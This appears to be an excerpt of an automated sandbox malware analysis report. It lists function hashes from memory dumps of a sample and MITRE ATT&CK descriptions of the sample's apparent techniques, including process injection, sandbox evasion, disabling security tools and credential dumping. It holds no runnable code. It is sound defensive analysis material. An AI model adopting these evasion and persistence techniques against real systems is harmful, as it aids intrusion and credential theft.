Opcode Fuzzy Hash: 51bb9bd445960d5d69583afac931eef0eba6103604c0ca91bfae51ceab0b2eb7
Instruction Fuzzy Hash: 0A11C631B103159FCB649F699854BAE7BF6AB88B40F10802AE905DB380DB70D841CF90

Function 01300840 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38b752a7fedd5f17ae7bb654f4c0680b7400567328e3d373b57560e97cfcaad0
Instruction ID: 8540b4021ce6295701d990aa52effe4a4f9ea972e2c4bb58453811f65e337563
Opcode Fuzzy Hash: 38b752a7fedd5f17ae7bb654f4c0680b7400567328e3d373b57560e97cfcaad0
Instruction Fuzzy Hash: C1115A31A0810DCFEB0ACFB4C564AEC7FF4FB05388B158196E1069BAA5D3349A01CB51

Function 01301697 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e95a00e5dd3dfb1594755087d482e3a1a4d4cab805072d0ab663602077aa4ed
Instruction ID: e4acdc4e90fc32fb9b71d2fc4a209f3e3913d1d966b7ac817173ffde22a71666
Opcode Fuzzy Hash: 3e95a00e5dd3dfb1594755087d482e3a1a4d4cab805072d0ab663602077aa4ed
Instruction Fuzzy Hash: 9111E171A042658FDB16DB78C570ADD7FF1AF45748F1440AAC041AB2D1DA35CC46C761

Function 0642EFF8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faea244de0b0432c82388988cb7b090ed93d80242e399c7daac519d12138a1e4
Instruction ID: 9ac3bfd4bdb4fc8dacf18f46589d71776684a514c220c8dae779ef798bf8f577
Opcode Fuzzy Hash: faea244de0b0432c82388988cb7b090ed93d80242e399c7daac519d12138a1e4
Instruction Fuzzy Hash: 0B016630700310AFC7A69730D844A3B3BA2EFCA210F60456EE5568B790CB71EC42CB90

Function 0642CF00 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad71ffb5305c00a4258718b6cc8b4ed83fe5dbfa56d5e809d3daf31d9469e65f
Instruction ID: 459df81ee3949d6fb377368d1d8a0d0f34b0c04b9cdc8a4c2e2db2ef8f825734
Opcode Fuzzy Hash: ad71ffb5305c00a4258718b6cc8b4ed83fe5dbfa56d5e809d3daf31d9469e65f
Instruction Fuzzy Hash: EC019234300650EFC3069B24E85496ABBA6EF8D7107108169E5068B354CF75ED02CBE5

Function 01300A00 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f15d89c0bd93b9b5296bbe7b95cf5e1d08474f0c19fcd545a21e7e07fd90db5
Instruction ID: 9490d50b30e9fa6658333bc2f6167b062f48796f2e368f6ee7776e52ae6a4918
Opcode Fuzzy Hash: 7f15d89c0bd93b9b5296bbe7b95cf5e1d08474f0c19fcd545a21e7e07fd90db5
Instruction Fuzzy Hash: 8E01C43050421DCBEB1F9F68C6347AE7BF5AB48388F1006A9E442676C1C7710D81CB95

Function 0642F680 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa693db213bb32252a7da5cc84592d42ec14768dc228b2800e699568704c920
Instruction ID: 7f988396420ae1cc1451723e2022330f2e8968d43d006720a3cc3d6422c89e90
Opcode Fuzzy Hash: 4aa693db213bb32252a7da5cc84592d42ec14768dc228b2800e699568704c920
Instruction Fuzzy Hash: CA016238B00916CFC780DF55D5549AEB7B1FF89700F60415BE6039B364DB30A946CB91

Function 0642CF10 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48faf50a8f7729e1062ab270f5c42a22175816f4070bb12fefa2563ccfac800
Instruction ID: aa678427e10cb82449068a2d975e540df64da2aad3bbeb40b38c54b4f4947330
Opcode Fuzzy Hash: a48faf50a8f7729e1062ab270f5c42a22175816f4070bb12fefa2563ccfac800
Instruction Fuzzy Hash: B2011D35340625DFC309AB65E45892AB7E7EFCC711B108169E6068B754CF75EC02CBD5

Function 064237B1 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cffdfe1cdb8cf3799da610592db1f75d5d330a6ae0d5d8e549958b17ad27c2a4
Instruction ID: 09e363a2fa88e9e4d27723dc8b0d9b4524f373bcd2120d7d04974a876e6416ba
Opcode Fuzzy Hash: cffdfe1cdb8cf3799da610592db1f75d5d330a6ae0d5d8e549958b17ad27c2a4
Instruction Fuzzy Hash: 96F0823540A3919FE7079A608D154AB7B76DA52240715809BE681CB562E6245D2AC3A2

Function 01300862 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e77048cd26761d18ca542a82df0da59a36d608f516d15eb7d10f05e090e407d
Instruction ID: fc7de743295cce11706af846313f41d17fe6753bd301fd37c043a49f117afa59
Opcode Fuzzy Hash: 0e77048cd26761d18ca542a82df0da59a36d608f516d15eb7d10f05e090e407d
Instruction Fuzzy Hash: B8F03C30D0420ADFDB09CFB9C5946EEBBF4EB49384B208565E509EA664E3319A008F91

Function 0642CC95 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660ad49fe773494c32bca3b0d5714b6161003fe8c6a8aca683f3101692cac863
Instruction ID: ad7478332e6bf2f35a2ab441948cf6f5c2a3d89f0b9c3cf7fdb78eaf1954ee5a
Opcode Fuzzy Hash: 660ad49fe773494c32bca3b0d5714b6161003fe8c6a8aca683f3101692cac863
Instruction Fuzzy Hash: 40F054393002109FC715DF15D854D3A77AAEFC9761B148069FA568B760CA31EC42CB90

Function 01301708 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 948459fdbfb5fcbde0870c56726a24d2a003993ebfa5d14a466bf503b5696c88
Instruction ID: f0ec95e2bc86048cc49157006c386c52ec23f8a3f9b6c3da64f413e37dbe405d
Opcode Fuzzy Hash: 948459fdbfb5fcbde0870c56726a24d2a003993ebfa5d14a466bf503b5696c88
Instruction Fuzzy Hash: F3018130A042599FEB16CBB8C520BEE7FF26F49704F24446AC042BB2D1DB368D01DB61

Function 01300A9D Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d54ea329cab2e625aaea158e83fc4741b0bfa34bd10f7d75a63d31cfcd43ea88
Instruction ID: 7e40b9277956d460f363fc6791af43637c91964cdf578aa3b145c77c8be49fe6
Opcode Fuzzy Hash: d54ea329cab2e625aaea158e83fc4741b0bfa34bd10f7d75a63d31cfcd43ea88
Instruction Fuzzy Hash: 88F04F3054810DCAE72F9AA8863477E76F86B483CCF10476AF00766AD0C7750DC18766

Function 0642CC98 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44d778d81a740d8ff92c80efe0e3b4d22c713b8790fd3d41243cc05b1b91d3c2
Instruction ID: 80ced0cbf0cd5b19852e4c9569b55b36dda49a80328ec5ea38aab557fbc98fa7
Opcode Fuzzy Hash: 44d778d81a740d8ff92c80efe0e3b4d22c713b8790fd3d41243cc05b1b91d3c2
Instruction Fuzzy Hash: 70F05E363002109FC705DF19D854D2AB7AAEFC8721B14806AFA568B760CA31EC02CB90

Function 013016D1 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b9fe385ec4a72b00835f7fc5ac968134cc86a50016d89480a2e8549ef3179b4
Instruction ID: 9c934777c6535e85c9e336e904b0d3974111a0c37b6d9e7356a4f73c9740a230
Opcode Fuzzy Hash: 6b9fe385ec4a72b00835f7fc5ac968134cc86a50016d89480a2e8549ef3179b4
Instruction Fuzzy Hash: AAF01935A0410CDFC74A9A79C8245AD76FAAB49728B14506DD503A7BD0DE64DC048B53

Function 06423C28 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cdc21ad45dc8c301f84d8b732065c0f93c1b1b2f52c88f3c1414d4ebab9b74c
Instruction ID: eec23e20b5fa4371ba5af11e52bc8546119eb7f3989e448a808a99a64c94779f
Opcode Fuzzy Hash: 2cdc21ad45dc8c301f84d8b732065c0f93c1b1b2f52c88f3c1414d4ebab9b74c
Instruction Fuzzy Hash: 2DE026327403354BC6E26A664D00B6233E89F48E11FB0046BD6056F380CA76E8418B90

Function 0642A7B0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c6af150a4be23f133eac13f62375e5319a17e5f307b2622129571c39143049f
Instruction ID: 7d8074dd00d5b362cd89730192824c5e47215dce6206ae36ee9c6e9c27616d8c
Opcode Fuzzy Hash: 3c6af150a4be23f133eac13f62375e5319a17e5f307b2622129571c39143049f
Instruction Fuzzy Hash: 95D02B347147110FD756852DB80154737DAEBC8A003000276B84AC7308EA54DC4247D2

Function 06423C26 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c100462a04af1b0132ef3a8774322606b57937fcef10592ce13921bef8277531
Instruction ID: dfbb33091b80a30e65f7eca799b84ae48b13699994f13cf683423dd59e113479
Opcode Fuzzy Hash: c100462a04af1b0132ef3a8774322606b57937fcef10592ce13921bef8277531
Instruction Fuzzy Hash: 5AE0C2327043359BDAE22A669D01B6233A85B45E21FB0046BE6146F280CA76E8818AA1

Function 0130A970 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3675d80f747b09936587549b8b6159de6d647dfdd1780ec2c5ea2039121d978f
Instruction ID: 3c7dfaa87550a128053066d99162497cec346598018b18b61311ab16831a4413
Opcode Fuzzy Hash: 3675d80f747b09936587549b8b6159de6d647dfdd1780ec2c5ea2039121d978f
Instruction Fuzzy Hash: C8E0C230451208DFC701EFF9E91868E7BF9DF45301F0040A5E90593190EA714A10DBA2

Function 0130DEA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9220d420802c32be8ce5c01c01e53498fcf32732a94da65448262129f3482
Instruction ID: 38cd3e2c04b8ee34861ff2d3c5795a1ff5563c53a5cffbf013b3cea3c80df942
Opcode Fuzzy Hash: a6a9220d420802c32be8ce5c01c01e53498fcf32732a94da65448262129f3482
Instruction Fuzzy Hash: 9DE0C231452108DFC741EFF89D1068E7BE89F85300F0044A5D60493190EE724A00DB92

Function 0130E2F8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c203abd81c4f4d276d76d8e565a8abf10b1153faa274c093bba7e2f8307dd6d
Instruction ID: 3e267e4207688ae0a936ae072c7bae034b9e51e94d4c976647e2789fc22b3008
Opcode Fuzzy Hash: 1c203abd81c4f4d276d76d8e565a8abf10b1153faa274c093bba7e2f8307dd6d
Instruction Fuzzy Hash: 72D05E34609108DBC719CB98D855A69BBECDB45319F1498EC980943381CA329D01CB81

Function 0642CC62 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a96bcde3b6c921adc4c5e53302bfe336abc6a4363fdee7ec448255505c3fc82
Instruction ID: d375667492adb2949647fc23a8ed5a405fe13bda85b6e77981f87b77b063e0b2
Opcode Fuzzy Hash: 1a96bcde3b6c921adc4c5e53302bfe336abc6a4363fdee7ec448255505c3fc82
Instruction Fuzzy Hash: 90D05E76009344AFC3029B60C818CA17F78DB06221315C096F8448B137E221AD14CBA0

Function 06420CD0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e12400a5776b07371c51d1d233967a515d3486e0cac9a4a8b9214f3a65e22112
Instruction ID: ab1a37e1a375f12117265b2fc4f7a485c6ea9a07431d7f3d6e0eba820e125c20
Opcode Fuzzy Hash: e12400a5776b07371c51d1d233967a515d3486e0cac9a4a8b9214f3a65e22112
Instruction Fuzzy Hash: 93C08C9190E3C25FCB02A320C81EA926F21EA021C032A61CBF0CACE0A3941818078372

Function 0130A760 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c18663af92bde4f5d40d9f14cea5f1c8168469bd39eb683d51c0f935ef80f3
Instruction ID: 8911676f1423c4b536380363073dced7a7b2dc20c4bb53f56fa2111ca31eb531
Opcode Fuzzy Hash: 88c18663af92bde4f5d40d9f14cea5f1c8168469bd39eb683d51c0f935ef80f3
Instruction Fuzzy Hash: EEC08C784863048FC3693FE9BC0E32A3BA8AF42707F844020E70D010A3CAB04090CFAA

Function 06421F70 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88166ad875d6a67c901756de0115e0612a207310115e01f014de0f93cc7d9589
Instruction ID: abff6e7c84317381ef454096da7a9f08973806f022f198d77f2137247b36b5ad
Opcode Fuzzy Hash: 88166ad875d6a67c901756de0115e0612a207310115e01f014de0f93cc7d9589
Instruction Fuzzy Hash: 7DC012301096148FCB28EB28F588C827BEAEF4030030189A9E01A8B224CB70EC41CF80

Function 0642CC70 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 0642A791 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e91279aa0c234ec9313d66c0135744709d8e6d30e5735c56bb9a91be05c5e0e
Instruction ID: e4ffd262c3c4e93ff88cfcfb729c0cce11e346e7f41ba21b6733d0a041f923b6
Opcode Fuzzy Hash: 7e91279aa0c234ec9313d66c0135744709d8e6d30e5735c56bb9a91be05c5e0e
Instruction Fuzzy Hash: A8B0120454D3D41DD3C2737448185932D04EF93210BDB10DB61988E053A0440C248562

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

